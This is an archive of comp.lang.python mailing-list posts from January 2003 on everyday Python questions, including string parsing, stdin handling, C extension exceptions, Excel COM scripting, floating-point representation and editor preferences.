About the only way to keep things that small is to stick to non-GUI
applications.  So certainly valid, but not necessarily common for an
average end-user application nowadays.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From peter at engcorp.com  Mon Jan 13 21:42:35 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 13 Jan 2003 21:42:35 -0500
Subject: Extracting float from string
References: <avvp7s$l1i$1@news.efn.org>
Message-ID: <3E23791B.44DBC11E@engcorp.com>

Spencer Ernest Doidge wrote:
> 
> From a previous post,
> I got many good solutions to extracting an int from
> 'X= 445 A'.
> 
> Now what about this one?
> Somewhere (we don't know where) in this input string, we expect to find a float:
> ':X=  0.22456  A'
> 
> How can I suck the float out of this one?

Since you aren't giving almost any more information about this one
than the last... I'm not going to play any more.

(If you hadn't noticed, you got exactly seven earnest attempts (so far)
at helping you out in spite of a *pitifully inadequate* specification
of your requirements.  I appreciate your glancing expression of
gratefulness above, but in my opinion you are more likely to make
some of us *stop* posting helpful replies to newbies if you 
continue making your requests in this manner.  Help us out a
little here and tell us what the heck you're trying to do!)

(Apologies if this sounds a little petty... maybe I'm just
reacting to too many poorly expressed requests for help lately.
Time for another vacation from newbie-helping, me thinks!)

-Peter



From ressler at cheetah.jpl.nasa.gov  Tue Jan 21 14:35:25 2003
From: ressler at cheetah.jpl.nasa.gov (Michael Ressler)
Date: 21 Jan 2003 19:35:25 GMT
Subject: SNQ: stdin with both a pipe and keyboard
Message-ID: <slrnb2r87t.tfl.ressler@cheetah.jpl.nasa.gov>

Stupid newbie question: I'm trying to cobble together a little routine
that will accept a bunch of data presented to it on stdin, then ask for
a filename to save it to. Something like

cat datafile | transfer_file

where "transfer_file" asks "What destination?" and expects me to type in.

I've been using sys.stdin.read() to suck in the data, but if I then use
raw_input() or something like it to ask for the filename, I get an EOF
error; like raw_input() was already expecting the keyboard text to
be there without waiting for it.

Any pointers? Thanks.

Mike





From LogiplexSoftware at earthlink.net  Sun Jan 26 23:12:59 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 26 Jan 2003 20:12:59 -0800
Subject: Strange response from newsgroup (or mailinglist)
In-Reply-To: <b0s9l9$2am$1@reader1.tiscali.nl>
References: <b0s9l9$2am$1@reader1.tiscali.nl>
Message-ID: <1043640779.25146.2953.camel@software1.logiplex.internal>

On Fri, 2003-01-24 at 13:00, GerritM wrote:
> Yesterday I posted a message directly to comp.lang.python and got the
> following return message:
> 
> ----start included message---
> Hallo,
> 
> Sie erhalten diese Nachricht vom Webmailsystem box.de (http://www.box.de).
> 
> Bezugnehmend auf Ihre Nachricht:
>     Re: Python magazine(s)?
> m?ssen wir Ihnen mitteilen, da? die eMail
> ihren Empf?nger '' nicht erreicht hat.
> 
> 
> Grund: The user has exceeded the maximum number of allowed messages.

I've been getting these the last few days.  I'm guessing that it's a
mirror of c.l.py or something and it's getting confused about who to
return messages to.

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From franks at mcs.anl.gov  Tue Jan 21 16:05:11 2003
From: franks at mcs.anl.gov (FrankS)
Date: Tue, 21 Jan 2003 13:05:11 -0800
Subject: Python23: cannot inherit from bool?
In-Reply-To: <b03kr8$lbili$1@ID-71831.news.dfncis.de>
References: <bb3eec0f.0301141812.18e916bf@posting.google.com> <b03kr8$lbili$1@ID-71831.news.dfncis.de>
Message-ID: <3E2DB607.2010406@mcs.anl.gov>

The purpose was not to change the fundamental behavior of bool, but to add some 
additional methods to create a XML-Schema Boolean-like datatype.

The idea is to map the XSD datatypes as much as possible to python primitive 
datatypes, and to inherit and add methods that would help with writing/parsing 
schemas, xml-serialized data elements, enforce facet constraints and such.

So my (naive) attempt was to define something like:

class XsdBoolean(bool, XsdAnySimpleType):
  ...

The work-around is to derive XsdBoolean from int and achieve essentially the 
same, but it would have been more elegant to derive from bool...

Maybe the restriction should not be on the inheriting itself, but on the 
redefinition of __init__ and/or __new__ , such that you could add additional 
methods that wouldn't mess with the fundamental behavior (?).

Thanks, Frank.


James Kew wrote:
> FrankS wrote:
> 
>>It seems that 2.3 doesn't allow you to inherit from bool:
> 
> 
> I'm not qualified to comment on why it's not allowed, but out of interest:
> why might you want to inherit from bool?
> 
> --
> James Kew
> james.kew at btinternet.com
> 
> 




From grante at visi.com  Tue Jan 28 11:29:09 2003
From: grante at visi.com (Grant Edwards)
Date: 28 Jan 2003 16:29:09 GMT
Subject: Dumb Q #1
References: <3e35fde8_3@corp.newsgroups.com> <mailman.1043758549.8656.python-list@python.org>
Message-ID: <3e36afd5$0$26195$a1866201@newsreader.visi.com>

In article <mailman.1043758549.8656.python-list at python.org>, Andy Jewell wrote:

> for record in records[:]:
> 
> 2) Rewrite the records list back to the file.  Modifying the records /list/ 
> merely changes the copy in memory.

Writing to a file like /etc/passwd is generally considered "A
Bad Thing".  When you want to change a critical (and "live")
file whose corruption will render your system inoperable,
always use a temporary file and then rename it.

-- 
Grant Edwards                   grante             Yow!  Is this where people
                                  at               are HOT and NICE and they
                               visi.com            give you TOAST for FREE??



From max at alcyone.com  Mon Jan 13 21:39:25 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 13 Jan 2003 18:39:25 -0800
Subject: Extracting float from string
References: <avvp7s$l1i$1@news.efn.org>
Message-ID: <3E23785D.8D487707@alcyone.com>

Spencer Ernest Doidge wrote:

> From a previous post,
> I got many good solutions to extracting an int from
> 'X= 445 A'.
> 
> Now what about this one?
> Somewhere (we don't know where) in this input string, we expect to
> find a float:
> ':X=  0.22456  A'
> 
> How can I suck the float out of this one?

Again, you're going to have to specify better the bounds of the problem.
There are many ways to do it -- a regular expression would be a piece of
cake -- but the best solution depends on the variation that you expect
to see.  Do you expect to always have whitespace between the number and
the following non-numeric data?  Do you expect multiple per line?  And
so on.

Give us a sampling of variations you expect to see and what you want out
of them, and then people will probably be able to narrow in on a
solution that fits best.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ If love be good, from whence cometh my woe?
\__/ Chaucer
    Crank Dot Net / http://www.crank.net/
 Cranks, crackpots, kooks, & loons on the Net.



From Andrew.Gregory at npl.co.uk  Mon Jan 13 08:35:30 2003
From: Andrew.Gregory at npl.co.uk (Andrew Gregory)
Date: Mon, 13 Jan 2003 13:35:30 -0000
Subject: Catching exceptions from C/C++ extensions
Message-ID: <8B3E03343914D411A51000062938C79602B0A064@golf.npl.co.uk>

> Does:
> 
>     import mymodule
> 
>     try:
>         y = myfunc()
>     except mymodule.Myerror:

Thanks for the suggestion, but tried that. Get

AttributeError: 'module' object has no attribute "Myerror'

Andrew.


> -----Original Message-----
> From: Andrew Bennetts [mailto:andrew-pythonlist at puzzling.org]
> Sent: 13 January 2003 13:38
> To: Andrew Gregory
> Cc: python-list at python.org
> Subject: Re: Catching exceptions from C/C++ extensions
> 
> 
> On Mon, Jan 13, 2003 at 04:37:06AM -0800, Andrew Gregory wrote:
> > I've written an extension which defines it's own exception class:
> > 
> > // In initialisation section
> >    static PyObject* Myerror;
> > 
> >    Myerror = PyErr_NewException("_mymodule.Myerror", NULL, NULL);
> 
> [..snip..]
> 
> > Which is just what I would expect. But if in a script file I have
> > something like
> > 
> > import mymodule
> > 
> >   try:
> >       y=myfunc()
> >   except Myerror:
> > 
> > I get
> > 
> >   NameError: name 'Myerror' is not defined 
> 
> Does:
> 
>     import mymodule
> 
>     try:
>         y = myfunc()
>     except mymodule.Myerror:
>         ...
> 
> do what you want?
> 
> -Andrew.
> 

-------------------------------------------------------------------
This e-mail and any attachments may contain confidential and/or
privileged material; it is for the intended addressee(s) only.
If you are not a named addressee, you must not use, retain or
disclose such information.

NPL Management Ltd cannot guarantee that the e-mail or any
attachments are free from viruses.

NPL Management Ltd. Registered in England and Wales. No: 2937881
Registered Office: Teddington, Middlesex, United Kingdom TW11 0LW.
-------------------------------------------------------------------




From imbosol at vt.edu  Thu Jan  9 19:12:10 2003
From: imbosol at vt.edu (Carl Banks)
Date: Fri, 10 Jan 2003 00:12:10 GMT
Subject: Do pythons like sugar?
References: <mailman.1042152679.31108.python-list@python.org>
Message-ID: <udoT9.36429$xb.5552@nwrddc02.gnilink.net>

Steven D. Arnold wrote:
> I think the suggestion that a new approach was needed was a stab to
> Afanasiy's vain picture of himself as master programmer, and that, not the
> responses to his question, is what caused this thread to be more than four
> posts long.

I agree Afanasiy brought out the worst in people.


-- 
CARL BANKS



From gminick at hacker.pl  Tue Jan  7 09:13:27 2003
From: gminick at hacker.pl (Wojtek Walczak)
Date: Tue, 7 Jan 2003 14:13:27 +0000 (UTC)
Subject: Numeric array and for loops problem
References: <c5598079.0301060856.4012672b@posting.google.com> <Ef-cnQWRn8_oU4SjXTWc3A@comcast.com> <c5598079.0301070529.7a15d75f@posting.google.com>
Message-ID: <avena7$3fu$1@news.tpi.pl>

Dnia 7 Jan 2003 05:29:48 -0800, Stan napisa?(a):
>  y += 1/2
> Doesn't work.. i'm sorry for this stupid question but i'm quite new to
> programming
Try: y += 1/2.0

-- 
[ ] gminick (at) underground.org.pl  http://gminick.linuxsecurity.pl/ [ ]
[ "Po prostu lubie poranna samotnosc, bo wtedy kawa smakuje najlepiej." ]



From com-nospam at ccraig.org  Wed Jan  8 16:46:09 2003
From: com-nospam at ccraig.org (Christopher A. Craig)
Date: 08 Jan 2003 16:46:09 -0500
Subject: global variable not seen (bug?)
In-Reply-To: <20030108175615.GB8922@foof.i3.cz>
References: <mailman.1042041138.4444.python-list@python.org>
	<3E1C59C6.5D8034CD@engcorp.com> <20030108175615.GB8922@foof.i3.cz>
Message-ID: <87u1gj9uxq.fsf@beren.ccraig.org>

Michal Vitecek <fuf at mageo.cz> writes:

>  what i wanted was an easy solution to be able to access
>  (read/write, etc.) data files in my python scripts. the data files
>  are located in some fixed directory but the scripts (with classes
>  that operate on them) can be whatever deep in directories and be
>  imported and used from scripts that can be again whatever
>  deep. some example:


Four ways to do this come to mind.  I prefer the first two, but the
others might sit better with you.

1) Have an option to the function for the directory, and pass it from 
   the program (good if you only have one function that needs it in
   the directory)

def foo(dir, otherargs):
   ...

2) Make the module into an object and have its __init__ function set
   an instance variable with the directory (if everything in the
   module modifies the directory)

class DOSTUFFTODIR:
  def __init__(self, dir):
    self.dir = dir
  ...

3) Have an accessor function that sets the variable in the
   module-global scope and call it immediately after importing the
   module.

def setdir(dir):
  global DIR
  DIR=dir

4) directly modify the module-global variable from the calling scope.

import ModuleWithGlobal

ModuleWithGlobal.GLOBALVAR = "."

-- 
Christopher A. Craig <com-nospam at ccraig.org>
"I believe in God, and if I woke up in hell
I'd still believe in him" Robert Louis Stevenson




From gsmatthew at ozemail.com.au  Mon Jan 20 05:21:55 2003
From: gsmatthew at ozemail.com.au (Graeme)
Date: Mon, 20 Jan 2003 21:21:55 +1100
Subject: IDLE on WinXP Problem
Message-ID: <a5QW9.239$O21.10167@nnrp1.ozemail.com.au>

Hi All

Last night I was happy and chugging away in IDLE, at 1am I shutdown. To my
dismay, tonight if I run IDLE on my WinXP box, the hourglass displays that
some action is occurring and after 5 secs, it just reverts back to the
original mousepointer, it is impossible for me to run IDLE, PythonWin, I can
only run python at the command line. I have re-installed Python, but still
no luck.

Has this happened to anyone else ?

If I had my way Id blow this machine and put Mandrake backon !!!





From dale at riverhall.NOTHANKS.co.uk  Fri Jan 31 04:22:42 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Fri, 31 Jan 2003 09:22:42 +0000
Subject: WinCVS macros
References: <0r2j3v4e6hpv4ed4i0g7f60bp7tt8qksk0@4ax.com> <3E3A1E6F.30800@hotmail.com>
Message-ID: <j0gk3v0b3ab75j7el7t8kg7g1rudptiudu@4ax.com>

J?rgen Cederberg <jorgencederberg at hotmail.com> wrote:

>
>Not that difficult (unless the interface has changed dramatically since 
>the ver. 1.2 I use). Select the 'Admin' menu, then 'Preferences'. Select 
>the 'WinCvs' tab. Here you can enter the 'Default Viewer used to open 
>files' and even select the 'Use on double click' check box if desired.
>
>Hope this helps
>J?rgen

Unfortunately, that is a blanket option and not specific to .py files.
--
Dale Strickland-Clark
Riverhall Systems Ltd



From nav at adams.patriot.net  Tue Jan  7 09:00:24 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 07 Jan 2003 09:00:24 -0500
Subject: Truth in dating (was: HELP! Must choose language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041399123.31276.python-list@python.org> <v1gdaicshqmr47@corp.supernews.com> <mailman.1041812790.32002.python-list@python.org> <3E18E6F8.8C5BFEEA@alcyone.com> <yyyznqecqch.fsf@adams.patriot.net> <3E1A552E.176B6FC3@alcyone.com>
Message-ID: <yyyr8bp5abr.fsf@adams.patriot.net>

Erik Max Francis <max at alcyone.com> writes:

> Even taken at face value, that jokingly-phrased question really does
> just about sum it up.

I meant it as a "ha ha, only serious" kind of comment.

Back when OO was becoming trendy, I went and learned Smalltalk to get
an idea of what all the fuss was about. Beautiful and elegant in
almost every way (except notationally), I was very taken by the
concept.

At the time OO was being introduced to Perl, I was making my living
doing brutal things to corporate data with Perl and quite enjoying
it. The OO stuff made me lose any interest I had in going further with
Perl; in my opinion, it should have stayed a uber-sripting language,
and left complex and/or large-scale development to other languages.

>  It is a grotesque and painfully transparent hack.

I think "hack" gives it too much credit. How about "kludge"? I have an
enormous amount of respect for lwall, but this is one area where he
did nobody any favors...

Nick

-- 
#include<stdio.h> /* SigMask 0.3 (sig.c) 19990429 PUBLIC DOMAIN "Compile Me" */
int main(c,v)char *v;{return !c?putchar(*v-1)&&main(0,v+ /* Tweaks welcomed. */
1):main(0,"Ojdl!Wbshjti!=obwAqbusjpu/ofu?\v\1");}  /* build: cc -o sig sig.c */



From grey at despair.dmiyu.org  Fri Jan  3 04:38:26 2003
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Fri, 03 Jan 2003 09:38:26 -0000
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <x7bs2y98or.fsf@guru.mired.org> <slrnb1ac1r.j1t.grey@teleute.dmiyu.org> <ouel7ur3pg.fsf@andlx-anamika.cisco.com>
Message-ID: <slrnb1amgh.k1t.grey@teleute.dmiyu.org>

On 03 Jan 2003 14:48:51 +0530, Ganesan R <rganesan at myrealbox.com> wrote:
> I see, it's about scripts. Programs written in Lisp are something beneath
> you. That's fine :-).

    No.  Let me put it another way.

    Will the lisp scripts work outside of Emacs on a lisp only engine?  No?
Why not?  

    It is the melding of an editor with a scripting language *and then* the
penchant for having everything under the sun programmed for it.  If the
extensions were somehow related to editing I can understand that.  For example
vim too is extensible.  I have a script for using aspell for spell checking.
Spell checking happens to be a common enough thing that people would do.  It
isn't common enough that it should be included in a text editor.  It is its
own application and I am glad that I can swap it out for something else if
something better comes along.  OTOH an editor having an entire newsreader
written for it in the scripting language is like having tetris written in the
scripting language.  What the hell do either of those have to do with editing?
Nothing.

    It is that mixing of two jobs into a single whole that is the problem.  Is
it an editor?  No, it is a lisp engine.  Is it a lisp engine?  No, it is an
editor.  Sorry, don't think they mix.

    'sides, if I wanted a language embedded into my editor (instead of called
from) I much prefer Python be it.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
    To email: Don't despair!   |  -- Lenny Nero, Strange Days
-------------------------------+---------------------------------------------



From andersjm at dancontrol.dk  Thu Jan  2 10:34:53 2003
From: andersjm at dancontrol.dk (Anders J. Munch)
Date: Thu, 2 Jan 2003 16:34:53 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org>
Message-ID: <3e145c1e$0$71692$edfadb0f@dread11.news.tele.dk>

"David Mertz" <mertz at gnosis.cx> wrote:
> I've got to thinking about multimethods/multiple dispatch lately.  I
> wonder if Pythonistas have some futher opinions on the use of these.

Theoretically multimethods are a great idea.  Being an elegant
generalization of object-orientation, having multimethods available
may save you from a clumsy workaround every once in a blue moon.

The problem is that designs that take full advantage of multimethods
are all too often bad.

> There are a few things that I had particularly in mind.  In reading
> about Dylan, I found that it has a method named 'next-method( )' to
> propogate dispatch from the closest match to more distant ones.  You can
> control whether you want this to happen by including that method, or
> not.  Take a look at:
> 
>     http://www.tpk.net/~ekidd/dylan/multiple-dispatch.html

Excellent example. 

I would describe the purpose of inspect-vehicle like this:
    Perform the relevant inspections sequentially.

which would naturally translate into:
    for inspection in vehicle.relevant_inspections():
        inspection.perform(vehicle)
        # or perhaps: vehicle.perform(inspection)

Unfortunately the next-method() example code looks nothing like this.
'relevant_inspections', instead of being a mallable data structure, is
hardwired into the class hierarchy.  You can't rearrange the order of
the inspections according to some criterion, you can't print a list of
inspections to be done, you can't collect a list of inspections that
failed without adding boilerplate code to each and every component
method, and you can't skip inspections already performed successfully.
All things that come naturally in the straightforward single-dispatch
solution.

- Anders





From pennedinil at excite.com  Sun Jan 19 23:35:23 2003
From: pennedinil at excite.com (DP)
Date: Mon, 20 Jan 2003 08:35:23 +0400
Subject: Python, COM & Excel
References: <6af8e801.0301172302.56c19659@posting.google.com> <6orW9.65051$Pb.2682414@twister.austin.rr.com>
Message-ID: <b0fu4t$72g1@news.emirates.net.ae>

Thanks Brandon (and to Graeme who wrote directly to me). It's pretty much what
I've been doing - recording macros. But there are some things that the macro
recording does not show. I'm not too shabby with Excel, unfortunately my
requirements usually far exceed my knowledge...


"Brandon Beck" <bbeck at NOSPAM.austin.rr.com> wrote in message
news:6orW9.65051$Pb.2682414 at twister.austin.rr.com...
| About a year ago I was in your shoes, I wish I had a sample to follow
| back then.  I ended up learning most of this the hard way, so to help
| you out I put together a sample fictitious report that should give you a
| good example to follow.  You can find it online at:
| http://www.isomorphism.org/~bbeck/scripts/ExcelReport.py
|
| The first thing you need to know for sure, is that you should generate
| the necessary python COM bindings for Excel using the "COM Makepy
| utility."  If you use python win, then you can invoke it from within
| pythonwin directly off of the tools menu.  You'll want bindings for the
| "Microsoft Excel xx.x Object Library."  I believe Office2k is 9.0 and
| OfficeXP is 10.0, but I could be wrong.
|
| I find the best way to figure out exactly what COM calls you need to
| make, is to have a sample spreadsheet of the report you want to
| generate, and record macros of yourself doing the actions you want your
| report to automatically do.  Once you're done, go look at the generated
| VBA code, and the functions that are being called.  There is usually a
| 1:1 correspondence between those functions and the ones you need to call
| via COM from python.  I also tend to try to avoid using the ActiveSheet
| or ActiveWindow objects.  I haven't ever found a need for them given
| that my python scripts usually always know exactly which worksheet
| they're dealing with.
|
| Hope this helps get you started in the right direction.
|
|
|
|
| DP wrote:
| > Hello all,
| >
| > I'm doing some work with Python, & COM integration (win32all v. 1.52
| > installed with Pthon 2.2.2). I'm having a difficult time getting
| > started. Some of the functions/objects I expect will work don't,
| > others work in unexpected ways. I'd very much appreciate pointers,
| > sample scripts, etc. from individuals who have had better luck with
| > Python & Excel integration. I'm working primarily with Excel 2000 and
| > MS Word. I hope to be able to figure things out myself later, pointers
| > will be appreciated.
| >
| > BTW I'd get the "Python & Win32" book in normal circumstances, but
| > currently this is not possible.
| >
| > Thanks in advance.
| >
| > Dinil.
|





From rjones at ekit-inc.com  Wed Jan 15 18:16:01 2003
From: rjones at ekit-inc.com (Richard Jones)
Date: Thu, 16 Jan 2003 10:16:01 +1100
Subject: portalocker in Win98
In-Reply-To: <200301160959.25161.rjones@ekit-inc.com>
References: <fe35b211.0301140932.62d3d334@posting.google.com> <b036k3$l72q5$1@ID-71831.news.dfncis.de> <200301160959.25161.rjones@ekit-inc.com>
Message-ID: <200301161016.01599.rjones@ekit-inc.com>

On Thu, 16 Jan 2003 9:59 am, Richard Jones wrote:
> On Wed, 15 Jan 2003 7:37 pm, James Kew wrote:
> > Thomas Heller wrote:
> > > But even they may not be needed, there's the little known msvcrt
> > > module included in standard Python, which also has a locking function.
> >
> > Again, this doesn't support blocking locks -- the docs say it polls for a
> > lock 10 times at 1-second intervals before giving up. It also has the
> > rather odd property of locking for a range of bytes in the file starting
> > from the current file position.
>
> The 10x 1-second rety is probably sufficient. I haven't seen the API, but
> that could probably be wrapped in a "while 1:", yes?

This thread on python-win32 looks like it might have the solution:

   http://mail.python.org/pipermail/python-win32/2001-August/000123.html

(since I want a blocking, exclusive lock :)


     Richard





From max at alcyone.com  Thu Jan 23 20:02:47 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 23 Jan 2003 17:02:47 -0800
Subject: Why is 2.3 = 2.2999999999999998 ?
References: <b0puig$o99@news.Informatik.Uni-Oldenburg.DE>
Message-ID: <3E3090B7.CE049B4E@alcyone.com>

Arne Koewing wrote:

> my puthon installation seems to ce confused about floats...

FAQ faq FAQ faq FAQ faq FAQ faq FAQ faq FAQ faq FAQ FAQ faq FAQ faq FAQ

This is a standard feature of floating point arithmetic, and has nothing
to do with Python.

	http://www.python.org/doc/FAQ.html#4.98

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ An undevout astronomer is mad.
\__/ Edward Young
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From peter at engcorp.com  Mon Jan 20 21:23:33 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 20 Jan 2003 21:23:33 -0500
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th> <9kstf-b1m.ln1@elstinko.registrado.network.es> <200120031316589777%dipthotdipthot@yahoo.yahoo.com.com> <g3luf-eoq.ln1@elstinko.registrado.network.es>
Message-ID: <3E2CAF25.1BF413E2@engcorp.com>

[Massive cross-posting broken]

Sinister Midget wrote:
> 
> On Mon, 20 Jan 2003 21:17:01 GMT, dipthotdipthot at yahoo.yahoo.com.com drooled and scribbled:
> > In article <9kstf-b1m.ln1 at elstinko.registrado.network.es>, Sinister
> > Midget <xunil at kc-rr.com> wrote:
> >
> >> On Mon, 20 Jan 2003 19:11:40 +0700, wichelman at hotmail.com drooled and
> >> scribbled:
> >>
> >> And good ones, too!
> >
> > Yeah, but
> >
> > totally sucks ass.
> 
> I only messed with it once. I didn't think it was so bad, but I might
> not have used it enough to get a valid opinion.
> 
> My favorite one was

Some people have been suggesting -- and I have to point out that
I strongly neither agree nor disagree with this view -- that the 
apparent censorship of these postings represents yet another 
transparent attempt by the PSU to limit the spread of knowledge 
in other newsgroups about th



From morden at shadows.net  Thu Jan  9 22:13:34 2003
From: morden at shadows.net (morden)
Date: Thu, 09 Jan 2003 19:13:34 -0800
Subject: Qt/PyQt licensing
In-Reply-To: <avktp6$mso$1@bob.news.rcn.net>
References: <avktp6$mso$1@bob.news.rcn.net> <h7nT9.33403$u9.2709@fe08>
Message-ID: <avl7jg$l5n$1@bob.news.rcn.net>

Steve Holden wrote:

> "morden"  wrote ...
>
> >Say I distribute PyQt as part of a commercial app written in Python
> >and do not extend pythonqt interpreter with proprietary code.
> >
> >I need commercial licenses for PyQt only at 150 pounds per developer's
> >seat and can use Qt non commercial license. Is this correct assumption?
> >
>
> I should have thought this question was best addressed to RiverBank
> Computing and TrollTech. It's their licensing you'll have to satisfy.

You're right of course. I've got a one track mind :-[
The track runs here though :-)




From jack at performancedrivers.com  Sat Jan 25 15:44:45 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Sat, 25 Jan 2003 15:44:45 -0500
Subject: embedding python, missing symbols
In-Reply-To: <b0tr60$cls$1@mamenchi.zrz.TU-Berlin.DE>; from missedby2inches@gmx.net on Sat, Jan 25, 2003 at 12:08:41PM +0100
References: <mailman.1043488125.24424.python-list@python.org> <b0tr60$cls$1@mamenchi.zrz.TU-Berlin.DE>
Message-ID: <20030125154445.C18606@localhost.localdomain>

On Sat, Jan 25, 2003 at 12:08:41PM +0100, Two Inches wrote:
> Jack Diederich wrote:
> > I can't seem to make gcc happy
> > 
> > using the example main() from the embedding docs and doing
> > 
> > gcc -I<path to Python.h> ./libpython2.2.a example.c
> 
> Use -L to tell gcc where to search for libs and -l to tell it which libs 
> to link against.
> 
> something like this should work (not tested; I do prefer to separate 
> compiling and links as a matter of taste):
> 
> gcc -o example.o -I<path to Python.h> example.c
> gcc example.o -o example -L<path to Python-libs> -lpython2.2
> 

The -L<path> -l<name> combination gets translated to the plainer
full-path of the actual .a lib.  It's a lot more flexible for distributing
makefiles, but equivalent to the above.

I get the same errors
/tmp/cce2iMj2.o(.text+0x31): undefined reference to `Py_Initialize'
/tmp/cce2iMj2.o(.text+0x41): undefined reference to `PyString_FromString'
/tmp/cce2iMj2.o(.text+0x52): undefined reference to `PyImport_Import'
<snip>
/tmp/cce2iMj2.o(.text+0x295): undefined reference to `Py_Finalize'

-jackdied




From neal at metaslash.com  Tue Jan  7 19:34:42 2003
From: neal at metaslash.com (Neal Norwitz)
Date: Tue, 07 Jan 2003 19:34:42 -0500
Subject: list comprehensions value assignment syntax error
References: <mailman.1041983459.23262.python-list@python.org>
Message-ID: <pan.2003.01.08.00.34.37.89856.9294@metaslash.com>

On Tue, 07 Jan 2003 14:18:22 -0500, Gerrit Holl wrote:

> Hi,
> 
> I am trying to assign to a list item using list comprehensions, but this
> raises a SyntaxError:
> 
>>>> [l[i] = chr(i) for i in range(256)]
>    File "<stdin>", line 1
>        [l[i] = chr(i) for i in range(256)]
> 	             ^
> 				 SyntaxError: invalid syntax

I don't understand what you are trying to do.
If you want to create a list of characters 1..256 (or 10)
since it fits on one line :-)

  >>> [chr(i) for i in range(10)]
  ['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t']

Neal



From sholden at holdenweb.com  Sun Jan 12 12:50:35 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Sun, 12 Jan 2003 12:50:35 -0500
Subject: How do I get to *all* of the groups of an re search?
References: <mailman.1042305441.25260.python-list@python.org> <mvk6f-6ug.ln1@news.lairds.org>
Message-ID: <xRhU9.266880$bZ.7706@FE07>

"Kyler Laird" <Kyler at news.Lairds.org> wrote ...
> Tim Peters <tim.one at comcast.net> writes:
>
[...]
>
> >I don't think so.  You expected that .group(n) would return a list of all
> >substrings matched by group n, but that's a different question than what
the
> >regular expression component \n should match.
>
> Yes, I'm sorry.  I was simply thinking of them being the same.
> I agree that such a practice would render \1 useless in the RE.
>
Well, at least we are all starting to agree on the reasonableness of the
*implementation*.

[...]
>
> No, I want what is documented.  I want what would seem obvious
> to someone who has not been tainted by experience with other
> languages.
>
Wanting "what would seem obvious" to anyone other than yourself is a recipe
for disappointment. It "seems obvious" to me that you are wasting time
complaining about something that isn't going to change. It probably "seems
obvious" to you that I'm wrong, and that you are trying to improve the
language on behalf of all its users. It probably "seems obvious" to other
readers that we are both wasting our time since we will not agree on what
needs doing.

> Failing that, I'd like all documentation of Python to be
> correct on its own.
>
There's a difference between "on its own" and "in its entirety".

> >> They won't have the experience to look at a piece of Python
> >> documentation and say "Oh, but surely they don't mean *that*."
>
> >If they also have the humility to read all the docs before presuming they
> >understand any of it, no problem -- it's documented multiple times.  If
you
> >actually write docs for newbies, you'll know that newbies also space out
> >easily when too much info is presented.  Repeating all relevant pieces of
> >info at every point isn't friendly to newbies either.
>
> I'm not asking for everything to be repeated.  I just want the
> incorrect stuff deleted.
>
Amen to that. Hence my earlier request that you submit a change. Either by
email or through the SourceForge bug systems.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/







From tjreedy at udel.edu  Thu Jan 16 15:56:28 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 16 Jan 2003 15:56:28 -0500
Subject: __all__ in classes?
References: <slrnb2e3kb.gp8.mlh@furu.idi.ntnu.no>
Message-ID: <8V2dnVPfCqgJvrqjXTWc2Q@comcast.com>

"Magnus Lie Hetland" <mlh at furu.idi.ntnu.no> wrote in message
news:slrnb2e3kb.gp8.mlh at furu.idi.ntnu.no...
> I just had an idea: Perhaps the following could be a useful
convention
> for private attributes (and methods)?
>
> >>> class Foo:
> ...     __all__ = 'bar', 'baz'
> ...     bar = 42
> ...     frozz = 51
> ...     def baz(self):
> ...         return 42
> >>> f = Foo()
> >>> f.bar
> 42
> >>> f.baz()
> 42
> >>> f.frozz
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> AttributeError: Foo attribute 'frozz' is private

Note that __all__ in modules does not work this way.  It only controls
what is exported as *, not what is accessible.

TJR





From aleax at aleax.it  Wed Jan 29 12:21:16 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 17:21:16 GMT
Subject: patching of python: tabs make me seek of python
References: <f210c9f3.0301281143.22c01152@posting.google.com> <mailman.1043799291.30192.python-list@python.org> <f210c9f3.0301290625.6ebe1aea@posting.google.com> <j6TZ9.100622$0v.2907983@news1.tin.it> <b190jt$m1k$1@slb3.atl.mindspring.net>
Message-ID: <g4UZ9.100914$0v.2915957@news1.tin.it>

Andrew Dalke wrote:
    ....
> What's different?  I don't remember.  I have vague recollections
> that his copy of vi doesn't have multiple undo, and an undo twice
> is the same as an undo/redo.  vim has multiple undo, so acts
> different in that one respect.

You just have to set cpoptions to include the letter 'u', and
then vim will behave just like old vi in this respect.

> Hmmm.... I see there is a strict vi compatibility mode for vim.
